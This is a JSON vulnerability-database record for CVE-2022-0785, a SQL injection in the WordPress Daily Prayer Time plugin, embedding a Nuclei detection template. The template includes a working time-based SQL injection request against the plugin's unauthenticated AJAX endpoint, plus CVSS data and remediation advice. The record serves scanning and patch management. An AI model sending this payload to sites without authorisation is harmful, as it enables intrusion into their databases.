{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-0785/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-0785/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-0785/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-0785/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-0785/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-0785"},"sightings":{"href":"/api/v1/sightings/cve-2022-0785"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-0785.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-0785\n\ninfo:\n  name: WordPress Daily Prayer Time <2022.03.01 - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    WordPress Daily Prayer Time plugin prior to 2022.03.01 contains a SQL injection vulnerability.. It does not sanitise and escape the month parameter before using it in a SQL statement via the get_monthly_timetable AJAX action, available to unauthenticated users, leading to SQL injection.\n  impact: |\n    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database and potentially sensitive information leakage.\n  remediation: |\n    Update to the latest version of the WordPress Daily Prayer Time plugin (2022.03.01) to fix the SQL Injection vulnerability.\n  reference:\n    - https://wpscan.com/vulnerability/e1e09f56-89a4-4d6f-907b-3fb2cb825255\n    - https://wordpress.org/plugins/daily-prayer-time-for-mosques/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-0785\n    - https://github.com/20142995/sectool\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-0785\n    cwe-id: CWE-89\n    epss-score: 0.09044\n    epss-percentile: 0.95055\n    cpe: cpe:2.3:a:daily_prayer_time_project:daily_prayer_time:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: daily_prayer_time_project\n    product: daily_prayer_time\n    framework: wordpress\n  tags: time-based-sqli,cve2022,cve,sqli,wordpress,wp-plugin,unauth,daily-prayer-time-for-mosques,wpscan,wp,daily_prayer_time_project,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 10s\n        GET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"dptTimetable customStyles dptUserStyles\")'\n        condition: and\n# digest: 4a0a00473045022100eb242d1d9af11baf318c4f1c92f13461c81bfdba28fea2d3a0f66e11c57fdf5f02204a057dced084eedce2ef6da1349cd5a4ac33cfc11d0a0555f644051a8b4314dd:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-0785"}